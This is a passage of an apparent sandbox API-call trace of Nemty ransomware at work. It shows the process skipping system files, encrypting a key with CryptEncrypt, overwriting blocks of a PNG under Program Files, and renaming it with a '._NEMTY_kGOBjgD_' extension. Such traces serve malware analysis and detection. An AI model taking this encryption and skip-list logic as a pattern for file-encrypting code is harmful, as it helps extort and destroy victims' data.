cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0076.258] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2=".") returned 1 [0076.258] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="..") returned 1 [0076.258] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="...") returned 1 [0076.258] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="windows") returned -1 [0076.258] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="$RECYCLE.BIN") returned 1 [0076.258] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="rsa") returned -1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="NTDETECT.COM") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="ntldr") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="MSDOS.SYS") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="IO.SYS") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="boot.ini") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="boot.ini") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="AUTOEXEC.BAT") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="ntuser.dat") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="desktop.ini") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="CONFIG.SYS") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="RECYCLER") returned -1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="BOOTSECT.BAK") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="bootmgr") returned 1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="programdata") returned -1 [0076.259] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="appdata") returned 1 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-imageMask.png", lpUsedDefaultChar=0x0) returned 24 [0076.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-imageMask.png", lpUsedDefaultChar=0x0) returned 24 [0076.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0076.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-imageMask.png", lpUsedDefaultChar=0x0) returned 24 [0076.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0076.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0076.259] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-imageMask.png", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_frame-imageMask.png", lpUsedDefaultChar=0x0) returned 24 [0076.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0076.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0076.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0076.260] Sleep (dwMilliseconds=0x5) [0076.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe11ae710, dwHighDateTime=0x1d561e7)) [0076.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe11ae710, dwHighDateTime=0x1d561e7)) [0076.266] GetLastError () returned 0x5 [0076.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0076.266] GetLastError () returned 0x5 [0076.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0076.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0076.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0076.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0076.267] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0076.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0076.267] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="e9O2zzINu/h8/GPVuBAyNmq9Xhnc1z47EJEgb91tBjGvSOoP7d9m1/al/S+Lg6rc\r\nsFW01ALb0ZywbRC1vGCvj6IbXBbPZz1ov39pKzWwG+aWoiVW1i/dMU5/bABXFdLT\r\nRdzyd0n+d2kyfp8B2/U3Avc/pnvLtlrG0Ht5Eq+/aUZhi6h/9wAMbArJaCWjRk38\r\ngiIdtjS23nAmDDF5/POZMLlIZCIU+t6HQT+SfonGoUhSRJ29hPPzK72ataXCxhrF\r\n0XKe3pR4h/bPhYJ9z4GYIxR+7tW7efXoGaroYCuuHMaBCr1LfnuI1LC21GI0A5tc\r\nsK3Z6ub0ET9Acc+2Zlaeig==\r\n", pcchString=0x653e91c) returned 1 [0076.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0076.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0076.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0076.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0076.267] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0076.268] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0076.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0076.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.287] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.287] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.287] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.296] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.306] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.306] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.306] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.335] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.344] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.363] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.363] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.363] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.369] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.369] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.369] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0076.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.375] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0076.375] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0076.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0076.375] CloseHandle (hObject=0xffffffff) returned 0 [0076.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0076.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0076.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0076.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0076.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0076.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0076.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0076.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0076.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0076.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0076.376] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png._nemty_kgobjgd_")) returned 0 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0076.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0076.376] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2=".") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="..") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="...") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="windows") returned -1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="$RECYCLE.BIN") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="rsa") returned -1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="NTDETECT.COM") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="ntldr") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="MSDOS.SYS") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="IO.SYS") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="boot.ini") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="boot.ini") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="AUTOEXEC.BAT") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="ntuser.dat") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="desktop.ini") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="CONFIG.SYS") returned 1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="RECYCLER") returned -1 [0076.376] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="BOOTSECT.BAK") returned 1 [0076.377] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="bootmgr") returned 1 [0076.377] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="programdata") returned -1 [0076.377] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="appdata") returned 1 [0076.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0076.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_frame-shadow.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 